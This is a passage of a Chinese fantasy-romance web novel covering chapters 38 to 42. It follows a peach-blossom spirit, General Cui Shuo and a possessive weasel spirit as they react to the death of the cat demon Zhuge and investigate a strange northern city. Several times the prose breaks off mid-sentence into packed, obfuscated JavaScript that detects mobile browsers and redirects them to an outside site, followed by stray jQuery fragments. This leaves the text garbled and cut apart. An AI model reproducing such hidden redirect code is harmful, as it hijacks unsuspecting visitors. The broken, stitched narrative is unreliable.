顶着男人即刻沉下去的目光以及女孩疑惑的眼神,他心一横,继续说道:“我也觉得柳夫人此举甚好,毕竟表兄年龄也已经不小了吧,是该成家了。不像我与小桃正值大好年华,我们玩在一起倒是没什么,就是表兄,你老了,真的得多注意些了。” 没想到崔朔当即没有丝毫迟疑地表态:“我不会成婚。” “什么?”方花零怔住。 于是崔朔再一次缓慢地、坚定地看着桃花精,说:“我不会成婚。” 桃花精点点头,表示自己知道了。 方花零下巴都要掉在地上了,惊疑的目光在女孩与男人之间来回移动,在确认了几次女孩完全没有理解到男人话里的意思后,极大地松了一口气,正要继续阴阳怪气对男人说些什么时,就见到男人隐晦注视着女孩时温柔的目光。 那是一种堪称轻柔的神态,像是春日里路边最小的一朵兰花在悄然盛放,无声无息地在温暖阳光下流淌出生命里最轻盈的一刻。 他蓦地合上了嘴巴。 丝丝缕缕的痛意爬上心头,他好像明白了自从见到崔朔起就开始难受的胸口究竟是为了什么了。 比起忮忌这种浅显的情感,更多的或许是连他自己都不愿意承认的那一点点恨。 恨他与她相逢太晚,恨他不是她第一个认识的朋友,恨他不能够完全占据她身边的位置,恨有人——可能是许多人,先他一步交给了她真挚的情意...... 只有这一点点恨,就足以让他往后余生发生翻天覆地的变化。 *** 送走了按吩咐回去转告柳鸿影事宜的方花零,桃花精拍了拍崔朔的肩头。 容貌俊美的男人偏头看她,柔声询问:“怎么了?” 她转了下眼,小臂交叠撑在桌子上,身子□□凑近男人,小声问:“你有喜欢的人吗?”问完这个问题,她还吸了吸鼻子,男人身上比她这个花精灵还要香。不过与寻常的花草香味不同,围绕在他身上的香气大约是凡人苦心调制的熏香。 她不太习惯,很快远离了。 崔朔的注意力全被突然靠近的女孩吸引走,在她问出那句让他心头一紧的话后,立即也下意识远离了一些,可还是注意到了女孩微不可察的皱眉。 是什么缘故?讨厌他的接近吗? 他默默移开目光,不动声色摸了摸鼻子,不确定自己手上是不是还沾有血味。他记得京城许多人叫他活阎王,家中奴仆也不敢接近他,难道他身上真的有腥味吗?如果是陶姑娘的话,对这些应该会更为排斥一些吧。 男人纤长笔直的睫毛颤了颤,引得桃花精注目。 然后便见到崔朔露出一个很奇怪、她从前没在任何人脸上见过的表情,嗯......感觉不太开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223296|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的样子呢。 “......没有。”崔朔看向窗外,敛眉注视着下方的车水马龙。 长街上,行走之人多三三两两结伴,有一名女子牵着个红苹果脸的少男来到卖糖葫芦的小贩前,笑着买了一串后与身边的男子一人一口地吃,起初少男还别扭着不愿意碰送到嘴边的糖葫芦,在被女子扇了两巴掌后终于腼腆地吃下。 在望着两人吃完糖葫芦又蹦蹦跳跳过了桥后,双目被刺痛的崔朔才后知后觉反应过来女孩有好一会没开口了。 他慌忙转回头看过去,便见到女孩也托腮探头,也满脸认真地盯着下面的长街看。 心脏莫名狠狠跳了一下,他呼吸一滞,喉口发紧,发出的疑问尾声还带着颤抖:“为什么突然问起了这个问题?”他其实更想问问女孩所理解的喜欢究竟是哪种喜欢。 “这个啊......”桃花精平静收回眼,“以前有个人经常带我出去玩,我们经常到茶馆里听说书人讲各种各样的故事,你们这里有名的话本子都是讲女欢男爱什么的,从前我只觉得无趣,不明白那个带我来玩的人怎么那么爱听这种故事。来这里之前我见到一个女人,就是那个给你们监制新武器的人,柳鸿影。” 她语调平稳,不见素日的嬉笑,“我总是按照自己的心意行事,以为我的心意就是正确的,直到碰上了柳鸿影,她是第一个不愿意听我的话做事的人。当时我很生气,一时情急说了许多错话——当然最后道歉了,可我心里还是不舒服。于是我就在想啊,这种让我不舒服那么久的事,究竟该不该存在。” 崔朔静静听她说。 “然后。”她又看向了窗外,“我刚才,还是第一次一下子看那么多人呢。” 桃花精伸出手,隔空轻点比自己手指头还小的人头,有两个挨着铺子的屠妇当街掰手腕,衣着华贵的贵小姐大声地拍手叫好,她身旁的侍女懒洋洋打着哈欠,看到头顶的蝴蝶笑着去扑;还有两个提着篮子的老妇人挥着手帕大声吆喝,两人一声比一声大似在较劲,结果一个喊破了音,另一个笑得扶着墙哎呦哎呦直叫;再有就是那个一直在固定地方卖糖葫芦的女人了,她总是一只胳膊圈着长长的棍,坐在小板凳上时头就靠在棍子上,低头时不时翻动腿上厚厚的一本书...... 桃花精蓦地笑了,转而翻过手试图接住倾落的阳光,“只是突然意识到,原来别人的喜怒哀乐都那么沉重。” 但终归是抓不到的,她淡然一笑,收回手,低眸看着掌心:“那么女欢男爱的话本子就不是在无病呻吟了,柳鸿影的生气也是理所应当,还有烛歌也想要我买的糖葫芦是为什么。” 崔朔根本不知道烛歌是谁,可他几乎是出于本能的,就问:“为什么?” “因为他喜欢我。”她说,“不是随口应付过去的尴尬,而是应当好好探寻的情感。” 但这都不是最重要的。 桃花精起身关上窗子,彻底阻隔外面的人间百态,“我们去调查鸿胪寺的事情吧。” 39. 第 39 章 柳玉冷是本朝第一位女官,也是有史以来第一位女宰相。 在她之后,女人们陆陆续续走出家门,或读书考试,入朝为官,亦或是与寻常男子一样来到外面的世界,追逐自己的理想,放声大笑,自由奔跑。 桃花精多愿意相信这就是柳精全部所求。 *** 朝廷本就委派了崔朔协助鸿胪寺调查此事,故而桃花精借助男人的遮掩办事还算顺利,她先是顺着焦土里留存的气息确认了是妖兽所为,而后又耗费许多灵力顺藤摸瓜,一路追寻来到了北方诸城。 顺带一提,与她一道的是黄鼠狼精。 男人无所事事跟在她身后,手里拿了一条桃枝来回转悠,忽然桃枝尾端断掉一节,他眸光闪了闪,默默把桃枝背在身后。 桃花精正在与人问路,待确定了接下来的行程后就转身朝男人伸出手。 黄鼠狼精看天看地就是不看她。 “快点给我。”懒得管他,桃花精直接上手抢过来,然后抓住断了一节的桃枝尾巴,闭上眼睛。 “听到什么了?”黄鼠狼精附在女孩耳畔,在女孩陡然睁开眼后幽幽询问。 桃花精临走前为了方便联络,特意留给崔朔一根桃枝,两人就通过这个桃枝联络。起先崔朔那个傻子不仅什么都查不到,还有事没事就要通过这根桃枝与她说些无关紧要的话,有时候是说京城里发生了什么事,有时候是说柳玉珍的近况,也会在非常偶尔的情况下提一嘴自己。 在桃花精非常直白地点明每一次通讯都会消耗她的灵力后,他差点自责的要以死谢罪,无奈她又好言说了一会,男人这才彻底安静下来,没有任何动静。 这还是自那之后崔朔首次传话,显然是有十分要紧的事。 她缓缓松开桃枝,站在原地愣神许久,直到久久未得到回应的黄鼠狼精拍了拍她的脑袋,她才猛然回过神来,面色悲戚地看着男人。 黄鼠狼精瞬间胸口一紧,连忙把女孩松松搂在怀里,摸了摸她发冷的脸,柔声安慰:“别担心别慌,有我在,发生什么事了?” 桃花精犹沉浸在自己的世界里没有反应,过了好一会突然抱住男人的腰,将脸埋进他厚实的胸肌里,声音闷闷的:“烛歌死了。” “烛歌?” 两人正在城门外头,周围来自天南海北的人马络绎不绝,他拥着女孩来到一边的大树后面,正好有一块巨石,便按着她与自己一同坐下。 他小心翼翼捧起女孩的脸,见到她闷闷不乐的模样心疼坏了,轻轻抚平她微皱起的眉头,原本因为听到这个名字而升腾气的怒意也烟消云散,“死了就死了,你要是喜欢,我再去捉只听话的妖兽送给你。” 没想到女孩眉头皱的更厉害了,撇过脸推开男人,“他们不是猫猫狗狗,不是用来玩的。” 黄鼠狼精被她堵的一噎,他虽然一开始就知道有只小猫妖跑到女孩身边了,可那时只想着反正是只低贱的猫妖,压根不值得放在心上,觉得女孩之所以把那家伙留在身边只是由于从前没见过,图新鲜罢了。可是万万没想到如今猫妖突传死讯,女孩反应会那么大。 桃花精熟知男人傲慢的脾性,明白与他肯定是说不通的,这事发生的太突然,真是打了她个措手不及。 明明前段时间刚决定要与烛歌好好说一说喜欢的事情,可是还没找到他就已经再也见不到了。 她双臂无力地撑在石头上,似乎有密密麻麻的苦味顺着舌根不断蔓延,让她整个嘴里都苦苦的,还有胸口也是控制不住地在发涨,她甚至开始担心自己的心脏会不会炸开。 桃花精还想着等事情办完回去后,就带着郑烨与烛歌一起出去吃糖葫芦,可是、可是...... 可是他怎么就这么死了呢?她还没给他买糖葫芦啊。 最后一面时少男委屈难过的神容在脑海里挥之不去,她无法想象自己走后烛歌是怀着一种怎样的心情离开。是怨恨、遗憾、还是无止境的悲伤?她记得少男很喜欢黏在她的身边,尤其是在书房两人吵架后少男不仅没有与她疏远,更是一找到机会就赖在她身边不肯走。 她又不是傻子,怎么可能不明白在日常斗嘴里两个人逐渐亲密的关系,他们其实已经是朋友了,彼此都心知肚明。 桃花精无措地顺着摊在膝头的布料,长叹了口气,“我就是觉得……哎,有些可惜,我不希望他死,而且——而且我还想着回去后给他买糖葫芦,我还有话和他说呢。” 黄鼠狼精看着女孩失落的侧颜,心想你也没给我买过糖葫芦呢,面上还是佯作镇定,“后悔了?” “什么?” 女孩似是没听懂他的话般,闻言讶异地看过来。 因为他的话,女孩眼睛睁大了些许,偏过头时有几缕碎发切割了光影,使她的脸在光影明暗间显示出叫人捉摸不透的神秘。甚至在他迟迟没有回话时,她又慢慢将头歪向了另一边,仰头思考一般看着天空,那双眼睛里风平浪静,无声无息。 就在刚刚,她还那么惋惜猫妖的死去。 黄鼠狼精不自觉重复:“你后悔——”他猛地咬舌,后知后觉意识到自己说错话后马上就要转移话题,而女孩也不知是第一遍没听清还是没听懂,在他刚说出几个字时恍然大悟。 桃花精震惊,像是听到了极不可思议的话,低落的声音都扬了起来:“后悔什么?” 这话问的十分真诚,甚至是一种没有任何迷茫、仅仅是感到困惑的疑问。 她直直看过来,黄鼠狼精甚至无法与这双近乎于天真的视线对视,狼狈躲开视线,张口无声。 桃花精自问自答:“我后悔什么?我确实为以后没有机会给他买糖葫芦而感到可惜,可是在我们曾经相处的那段时间里,我对他做的任何事都是那一刻我的想做的。” 她已经反应过来刚才那话有点指责的意味,或许黄鼠狼精只是随口一提,可还是让她觉得很不舒服:“……崔朔说,是皇帝沉迷歌舞,太后就处死了烛歌。但怎么可能,他再怎么样也是个妖,绝不可能死于凡人手下,太后不就是柳精的傀儡吗?肯定是柳精做的。” 黄鼠狼精面露愧色,很是为自己方才的口不择言感到羞愧,勉强笑了笑,顺应着女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她不喜与人交往,落后半步把自己掩在黄鼠狼精身后,全凭男人和人交涉。 顺利放行,经过守城士兵时桃花精侧目多看了几眼她们身上折射出夕阳暖光的盔甲,心里留了个神。 得益于六年前在崔府住过一段时间,她由于好奇听崔朔讲了许多边关的事,对象国的军事境况也颇为了解。 这些人身上穿的锁子甲十分轻巧,行动起来轻盈迅速,且防御力很强,尤其是面对对轻薄利刃时,防御效果非常显著。这种只能在最前线冲锋陷阵的士兵身上看到的锁子甲,怎么穿在她们身上了?她记得皇宫里的守卫都只能穿略低一等的皮甲。 “咱们这是在哪来着?”桃花精想的入迷,边想边走边问身边人,却没得到回应,她下意识要寻身边的人,结果刚刚抬起头就一下子张大嘴巴愣在远处。 灯火蜿蜒成龙奔去一眼望不到头的长街,映照得青石路面泛起碎金般的光。沿街酒肆高悬彩绸灯笼,小贩的吆喝声此起彼伏。 夜风拂过桃花精脸侧,满街的灯火摇曳不息,照见此城浮华。 40. 第 40 章 桃花精一路惊叹不止。 这里的繁华程度比起京城简直有过之而无不及,路上的百姓们个个衣着光鲜亮丽,神采飞扬,无论是当街小贩还是来往路人,都喜笑颜开,生活一看便知是很幸福美满的。 一般而言除了最繁华的京城,就只有东方的沿海之城凭借通达的水路,商业繁荣,人流密集。而越是往北方走,一是靠近北国战事频发,二是远离京城,许多政令传播不及,各方面的管治都要稍差些。 她心中困惑,随手抓了一位看上去和眉善目的女孩询问:“还请问姑娘,这是哪里?” 那女孩手臂拐了个筐,筐里搁了几只新鲜的桃枝,桃枝都截断成一节一节的,看样子是刚刚剪下的。 女孩含笑开口:“你来到这里,却不知此为何处,那你来这里做什么?” 黄鼠狼精拉过桃花精,从容应答:“我们是跟随家中商队来到这里的,家里管教严格不许我们多问,只叫我们自己去玩,小妹见这里繁华无比,实在好奇。” 女孩却是不言不语,只是用那双笑吟吟的眼眸望着桃花精。 桃花精莫名觉得此人怪异,顿时后悔不该多嘴,当即就摆摆手想要找借口离去,不想那女孩不知是误会了还是怎的,竟然直接上手抓住她的手,而后从筐里拿出一截短桃枝放在她的手心,“这里是东河郡,是受花神大人庇佑的土地,姑娘极合我眼缘,这桃枝就赠与姑娘,愿您得花神大人所爱。” “什么?”她听得脑子发晕,尚未反应过来,对面之人就把那截桃枝收回,顺势抓住她的掌心。 旋即便听见女孩惊喜的声音:“天呐!姑娘掌心有红痣!” 桃花精心道不好,连忙要抽回手来,却不想那女孩竟然力大惊人,任凭她如何挣扎也无法抽离半分。 黄鼠狼精注意到这边的动静立刻上前抓住她的手腕,沉声警告:“还请姑娘放开我家小妹!” 她怕男人伤到凡人,使了个眼色让他退后别管,男人脸上浮现不赞同的神色,张口就要争辩,被瞪了一眼后只得憋闷地退开。 桃花精好言好语:“姑娘,你抓的我好疼。” 没想到女孩依然不撒手,笑容满面凑近,好似与她是多么亲密的关系一般,“姑娘是外地人吗?没听过花神的传说吗?传说掌心有红痣的人此生都会得到花神大人庇佑的哦,姑娘真是幸运呢!” 桃花精不适撇过脸,呼吸错乱了几分,没明白现在的情况。短短一会的时间她已经暗中探查了好几次女孩身上的气息,确实没有任何妖力,仅仅是个普通凡人而已。 可是......凡人能有这么大的力气吗?这种连她都挣脱不得的力量,怕是只能用异术才能做到吧! 正在桃花精犹豫着要不干脆踢翻女孩挂在小臂上的筐子时,她忽然松开了手,变脸比翻书还快,满面歉意:“实在对不住,惊扰到姑娘了吧。”她微微一笑,双眉却是微微蹙起,眼瞳是没有任何杂色的纯黑,“只是第一次见到人手心长了痣,一时惊讶......姑娘在东河郡多待一段时间吧,花神大人肯定很喜欢你的。” 这人在胡言乱语什么。 桃花精勉强笑了笑,掉在地上的桃枝捡也不捡就赶紧拉着黄鼠狼精逃走了。 什么花神大人,什么掌心痣,这种无厘头的传说到底是怎么来的?话说回来郑岚先前说过的给她建花神庙......不会是认真的吧?如果没记错的话,郑岚所宣扬的花神花绮英完全是他自己杜撰,而民间传说里的花神原型确确实实是一位真神。 不过,郑岚似乎与现在的郑烨差不多,都是位没有实权的皇帝。 尽管郑岚临死前说过要让花神庙遍布象国每一寸土地,可是依照他的废物程度显然是没有做到的,就连京城天子脚下的花神庙都荒废成乞丐窝了,更不用说离京城如此偏远的那什么郡。 “东河郡。” “哦对对,东河郡。”桃花精认同地点点头,而后猛地一惊看向身边神情严肃的男人,“你你你——你怎么知道我在想什么?!”难道如今的大妖连读心术都修炼出来了么! “嗯?什么?”黄鼠狼精疑惑地歪了歪头,在与震惊的女孩对视没一会就低头笑了,他一手握拳抵住嘴唇,笑的肩膀抖个不停,“小桃你啊——” 他笑的将头靠在她肩上,犹笑的花枝乱颤,“怎么那么可爱呀。” 她被男人的重量压得刚刚往后退了两步,就被两长长的手臂圈住,带到一个温暖软和的怀抱里。 黄鼠狼精将女孩搂在自己怀中,上半身微微后仰,以让她能更好地趴在自己怀中,他笑眯眯看着女孩,嘴角笑意扩大,未问先答:“没有读心术哦,一定是因为和小桃心有灵犀呀。” 桃花精两只手撑在男人软绵绵的胸肌上,呆愣地望进男人笑意盈盈的眼眸之中,目光一寸寸滑过那张绝色面容的每一处—— 四处亮起的烛光很容易盖过了清冷的月色,令黄鼠狼精精美的五官都仿佛闪耀着动人的光辉,恍惚看去,直叫人觉得凡世间所有的绚烂光彩都成了一抔尘土,唯他嫣然色。 两人的身体紧紧相贴,她能轻易隔着两层薄薄的布料感受到男人精瘦的腹部,块块分明的腹肌带着奇怪的热意,抵在她的肚子上,她只要稍微动一动,便能很明显感受到男人腹部许多的凸起与凹陷。 比起宽而平的肩与鼓囊囊的胸部,黄鼠狼精的腰肢简直纤细到了不可思议的地步,桃花精平日里必须两只小臂完全交叠在一起,才能在环住他腰时不留一点空隙。 不过现在她没有抱住他,而是抓住了他厚厚的胸脯。 右手下的震动一下比一下剧烈,桃花精甚至无需将脸埋进去都能听出来男人的心跳声在加快、在增强。 被灯笼罩住的昏黄光点融化进他琥珀色的眼瞳里,令其流露出些许金黄的暗芒。 “你......”桃花精怔怔看着,蓦地透过这对深深凝望着自己的眼眸想起一个人,那人拥有比他更亮更美的黄金之瞳,她鬼使神差问出口:“你是不是喜欢我?” 男人瞬间瞪大眼睛,呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄鼠狼精捂着肩头脸色沉下来,忽然就觉得很可笑。 是啊,如果是她的话肯定随便对女娲娘娘撒撒娇就能轻而易举获得一切了吧,就算真的有女娲娘娘不会应允的,柳精也一定会不惜一切手段满足她的任何想法。 偏偏女孩自己还认识不到自己所受的莫大偏爱。 若是寻常妖精或许一生都无法见得女娲娘娘一面,而她只要想,女娲娘娘就会亲自接她来到自己的身边。而譬如柳精那种活了上万年的大妖,别的小妖精见了更是大气都不敢喘一声,偏偏她无论如何冒犯也能得到女人的纵容。 但在她眼里,世间所有给予自己的偏爱都是再寻常不过的,她天生就有种天地间唯我独尊的傲慢,不会将任何人给予的真心放在眼里,只会觉得都是理所当然——自然也不会意识到这些真心有何区别,也从不会疑问真心从何而来。 可今天怎么问了这种荒唐的问题。 究竟是谁......究竟是哪个贱东西对女孩说了不该说的话! 41. 第 41 章 太极宫中—— 今日依旧是阴沉沉的天,没有风的燥热天气让人心生烦闷,柯良听着小太监送来的关于城北花神庙的消息,心里始终提着一口气无法放松。 桃薇——哦不,现在该称呼陶大人了,她在城北的伟业干的风生水起,便如终于挣脱了缰绳的马儿,来到自由自在的天地间尽情施展拳脚报复。她倒是快活了,柯良与她多年好友,自然心中也为她高兴,可是太后娘娘那边可不怎么好了。 听小太监讲了许多,明眼人都看得出来这位从宫廷侍女一跃成为七品小官的陶大人将要发达了,安置流民,重修城区,帮助许多无依无靠的女人找到安身立命之法,这一桩桩的好事足以让她往后的仕途通达显赫,也足以使太后娘娘落后她越来越远。 不知是宰相柳大人掌控愈发严格的缘故,还是因为宠爱的侍女再也见不到了,太后娘娘近来精气神越来越差,常常夜里睡不好觉,白日里也总是独自一人望着院子里的桃木愣神,嘴里时不时念叨“花绮英”三个字。大家都猜测太后娘娘是在思念远居城北花神庙里的陶大人。 柯良不愿意看娘娘憔悴的模样,想方设法联系陶微多给娘娘写几封信,可女人总是借口政务忙碌,后来干脆直接不搭理他了。 前些时候皇帝为讨太后娘娘开心,把他之前从外面带回来的舞男送去了万寿宫跳舞,没想到正好碰上盛怒的柳相,柳相一怒之下直接将那舞男拖出去乱棍打死了,把太后娘娘气的不轻。 想到这里,柯良正想要吩咐小太监去教坊司挑选几个模样俊俏的小男子送去永寿宫讨娘娘欢心,正巧这时候崔朔崔将军到访,他只得暂停了事务,赶紧前去迎接。 刚走了半路,冷峻威严的男人就自顾自走了进来,他不禁在心里乐呵呵:这皇帝寝宫成菜市场了,还真是谁想进就进。 奈何崔朔颇得柳相其中,柯良纵使有百般不满,也只得笑脸相迎:“崔将军!哎呦不知崔将军大驾光临,奴才该早早搁外面候着呢,呃......崔将军可是来找皇上的?哎呀呀,真是不巧了,陛下这些天总不愿意见人——” “那就通报。”男人浓眉下压,冷冷吐出四个字。 柯良顿时觉得这七月酷暑天也犹如冰窖了。他干笑两声,表面不显,实际上背地里早已经把男人视作敌对方。原因无它,崔朔是柳相的人,而柳相这些年又屡次与太后娘娘不对付,那他自然而然应该仇视崔朔。 真是官威摆的比谁都大,家都被抄了还给柳玉冷卖命呢,不就是从前打过几场胜仗么,有什么可威风的。哼,可就显摆吧,迟早有一天这象国会是太后娘娘的天下,你这个天天吓死人的破将军就等着上断头台吧。 柯良背过身翻了个白眼,慢悠悠走近皇帝寝殿,在外头敲了敲门,轻咳一声,掐着嗓子喊道:“陛下,崔将军来了,要见您呢。” 屋门很快就开了,速度之快连他都吓了一跳,要知道自从那个舞男死后这小皇帝就一直闷闷不乐,谁说话都不理,没想到今日竟然有了反应。 郑烨朝柯良扯出一个天真懵懂的笑,而后转头看向孤零零站在院子中央桃花树下面的男人,嘴角笑意淡了几分,双目沉沉:“快请进吧。” 自从云仙大人回来后,郑烨就对除了云仙大人以外的任何事都提不起精神,直到前几天烛歌死了,他才幡然醒悟一个真理——此世间只有云仙大人是唯一本真,其余任何人、任何事,哪怕是目之所及的一切,都是虚妄。 因此云仙大人走了,他就一直把自己关在房间里,如同疯魔了一般地作画,纷乱的画纸在地面堆积了一层又一层,而这数不尽的画作里所记录的全都是一个同一个女孩。 放眼望去地面上有无数张女孩的脸在朝人喜笑嗔怒,在昏昏沉沉的屋子里实在是妖异可怖,宛如进了什么吃人的洞穴,让人望而生畏。 崔朔站在门边,握紧拳头,没有上前一步。 地面已经被纸张铺满,根本无处落脚,而那名穿着宽大黑袍的男孩却能灵活地找出画面的空白之处踩上去。他双手背在身后,蹦蹦跳跳走进去,浓厚的长发跟随着主人的动作荡漾起层层波浪。 男孩一路直朝桌案走去,随意拿起上面还未完毕的一幅画,兀自举高站在那里欣赏了一会。 他分明是笑着的,却无端叫人觉出一股冷意,黑漆漆的发与衣袍使他几乎与这间屋子融为一体,只有那双苍白的手是唯一光源。 大抵是因为这屋子太过潮湿阴暗,哪怕点了刺鼻的熏香也总能叫人闻出一股腐朽的味道,像是雨夜里被污水泡发的木头,处处透着软烂的、好似一打就碎的脆弱。 他拎着画一步一步走来,嘴角噙着古怪的笑,而后停留在他面前,将手里的画举起来。 在看到画上内容的一瞬间,崔朔瞳孔骤缩。 “你疯了!”他一把扯下画撕碎,震怒揪着男孩的衣领将他提起来,目眦欲裂:“她对你那么好,你怎么敢画这种污秽的东西侮辱她!” 郑烨眼皮下垂,无神的目光点在地面破碎的纸片上,嘴角牵扯起不正常的弧度,他微微一笑:“污秽之物......你说这张画吗?我只是画了这幅画就是侮辱云仙大人,那画中人岂不是该千刀万剐,五马分尸?” 崔朔将男孩砸到门上,怒不可遏:“画上的是谁!” 郑烨身子孱弱,被他这大力一推差点没把肺咳出来,他费力握住男人的手腕要将他甩开,挣扎了半晌还是男人嫌弃地主动松开。 他脸上彻底没了笑意,侧头慢条斯理整理被弄乱的衣领,语调低低的,慢吞吞说道:“那个人就是你此次来找我的目的啊。” 男孩嗤笑:“你找我是因为云仙大人拜托你调查烛歌的死因吧,真好啊,能够随时随地和云仙大人联系......明明我才是云仙大人最爱的孩子不是么,怎么云仙大人不把这种任务交给我呢?” “什么意思?”崔朔不可置信低头看向地上散落的纸屑,“你说这画上之人就是那个死去的舞男?那这画中内容——” “当然是假的。”郑烨无所谓地耸耸肩,悠远的眼神似乎在想象些什么,整张脸夸张地皱起,突然大声重复一遍:“当然是假的啊!云仙大人怎么可能和那种丑八怪亲嘴啦!说到底会相信这幅画的你才是真正侮辱云仙大人之人吧!” 男孩一惊一乍的态度成功惹怒崔朔,他虽然不至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他不知道笑了多久,直到男人脸黑的都能滴出水来时,才堪堪止住笑,假装擦掉眼角笑出来的泪水,“大将军也太抬举我了,我就是个大门不出二门不迈只知道画画的废物皇帝,我能有什么能耐杀死一只妖啊。将军,你与其搁这左思右想是哪个‘人’杀了猫妖,倒不如相信现实,好好想想柳相为什么要杀死一个小舞男。” 郑烨骤然变脸,抬脚碾碎地上的纸屑,笑容阴狠:“像他这种不知廉耻,卑鄙下贱的脏东西,恐怕看不惯的大有人在吧。”他倏地抬眸看向崔朔,眼中好像淬着剧毒,阴鸷可怖:“他太蠢了,对云仙大人说了不该说的话,没人会希望他活在这个世界上,你也一样吧,崔将军?” 崔朔毫不犹豫后退一步,远离这间屋子,眸光坚定:“可陶姑娘喜欢,这不是你让陶姑娘伤心的理由。” 这句话不知触动了男孩哪根神经,他忽然低头捂住脸大叫起来,同时嘴里还大声喊:“不是我不是我不是我!他不是我杀的!!!是他自己在柳玉冷面前说错了话!是柳玉冷看不惯他才处置了他,跟我没有任何关系,我也好害怕的啊!” 崔朔一怔,猛然低头去看腰间别着的桃枝,果然末尾端断掉一截,那里传来一个陌生的男声,醇厚的嗓音自带笑意: “好哦,我知道了......啊那个,你是叫崔朔对吧?这件事你不用再管了呢,还有郑烨,再给小桃惹事我会把你碎尸万段哦。” 郑烨身子一僵,缓缓放下了手,露出一张扭曲的面容,冷笑。 竟然是是黄鼠狼精那个老东西么。 42. 第 42 章 深巷里—— 黄鼠狼精面无表情看着手中的桃枝,在寂静黑暗处一点一点塞入口中,吞吃入腹。 “黄鼠狼精?” 背后忽然传来女孩疑惑的呼声,他于黑暗中的眼眸逐渐盛满笑意,从容转身,双手插在袖中,笑眯眯歪了歪头:“小桃终于醒了呀。” 月上中天,更深人静,桃花精站在月光能够照亮的地界,没有往前,她安静看着黑暗中的男人,莫名觉得有些陌生,“你……你怎么在这?我找了你好久。” 她记得他们来到东河郡后,遇到一个奇怪的女孩掰着她的手看,她吓了一跳,匆匆带着黄鼠狼精逃走了…… 然后、然后—— 然后她好像睡着了?是这样吗?醒来时发现自己正躺在一株粗壮的桃树上,在附近转了一圈都没找到黄鼠狼精,只好寻着熟悉的气息一路找来,终于在这个偏僻的小巷子里找到了男人。 “我的桃枝呢?在你身上吧?”她依旧没有上前,默默伸出一只手,笑了一下:“把它给我吧。” 黄鼠狼精微微一笑,迈着不紧不慢的步子一步一步走近,最终停留在与女孩一步之遥的明暗交界处。他抬起一只手托起女孩的后脑勺,另一只手掌轻轻抚上她的半侧脸颊,笑容温柔:“要那桃枝做什么?” “什么?”桃花精没能理解男人的话,“你在说什么啊,我们不是在帮鸿胪寺调查案件吗,总要和崔朔他们联系吧。” 男人俯身靠近,两个人平稳的呼吸交织纠缠,他轻轻问:“只有这个吗?” “不然呢?”她不明所以,开始对男人上下其手想要从他身上搜出桃枝,结果黄鼠狼精忽然像被点到一般身子一颤,直接握住了她的两只手腕。 他虽然是笑着的,可看上去像是在极力忍耐什么,漂亮的长眉好似染上夜风的微凉,眉眼间透着刻意的疏离,“啊呀,这个嘛……” 男人尾音拉长,唇角笑容加深,“被我吃掉了——抱歉抱歉,只是有一点好奇这东西的味道没忍住就给吞下去了。不过也没关系的吧,小桃现在很脆弱呢,实在没必要自己用灵力和万里之外的崔朔交流吧,这个我完全可以代劳的哦~由我来做完全没问题的。” 他笑的眉眼弯弯,翻手变出一块拇指大的玉石,抬抬下巴示意女孩摸一下。 桃花精惊奇地瞪大眼睛,食指轻轻点了一下。 刹那间,柔和纯净的白光缓缓从玉石中溢散出来,光芒愈演愈盛,颜色也变为浓郁的乳白色,并逐渐包裹住男人整只手。 最后,光芒又如同退潮般一点点消失,直至化为一汪泛着桃粉色的清泉静静置于他的手心,不曾漏出一滴。 “真厉害呀。”桃花精扒拉着男人的手腕,低眸去看,眼中是纯粹的惊叹:“你真厉害!这也是水镜?原来可以直接用灵力幻化的吗?” 黄鼠狼精笑如春风拂面,也低头与她一同去看,“你要是喜欢,我教你。” 就像从前那样。 还记得桃花精刚刚诞生那段时候,女孩没有一丝灵力,孱弱的好似风一吹就要化掉。黄鼠狼精就把尚且病弱的女孩全部抱在怀中,就像母兽哺育幼崽那样一点一点地把自己的灵力灌输到她体内。 后来她慢慢长大了,去了凡间几趟,见识了很多东西,修为增长了,于是就开始想要学一些法术。 其实女孩学习法术在妖精中算早的了,许多妖精自诞生起就独自在种族中徘徊游荡。他们不像凡人一样有自己的亲生父母在一旁教导,只能自己慢慢的探索——探索自己是什么,这个世界又是什么,探索他们该如何成长。 可桃花精不一样,桃花精自诞生起就有黄鼠狼精陪伴在自己的身边,她可以说是被他一手带大,甚至是养大的。 比起妖界众人所说的狐朋狗友,黄鼠狼精觉得他和女孩的关系更像是最原始的母兽与小兽。 甚至在最初那几十年,他还会怀疑自己对于女孩的爱到底是所谓的爱情还是母爱。 直到前往凡间陪伴陶丽绾的女孩被一个又一个肮脏的凡人男子觊觎时,那种几乎将黄鼠狼精淹没的愤怒让他无比清晰地意识到,这种忮忌是只有对心爱之人才会有的。 他认真看着女孩,看她的发,她的眉,她的眼,她的一举动。 细细观察她每一刻的神态。 他觉得真是好可爱。 桃花精就是世界上最可爱、最纯粹的孩子,不是吗?黄鼠狼将坚信每一个接近女孩的人都是这么想的,无论是他还是柳精。 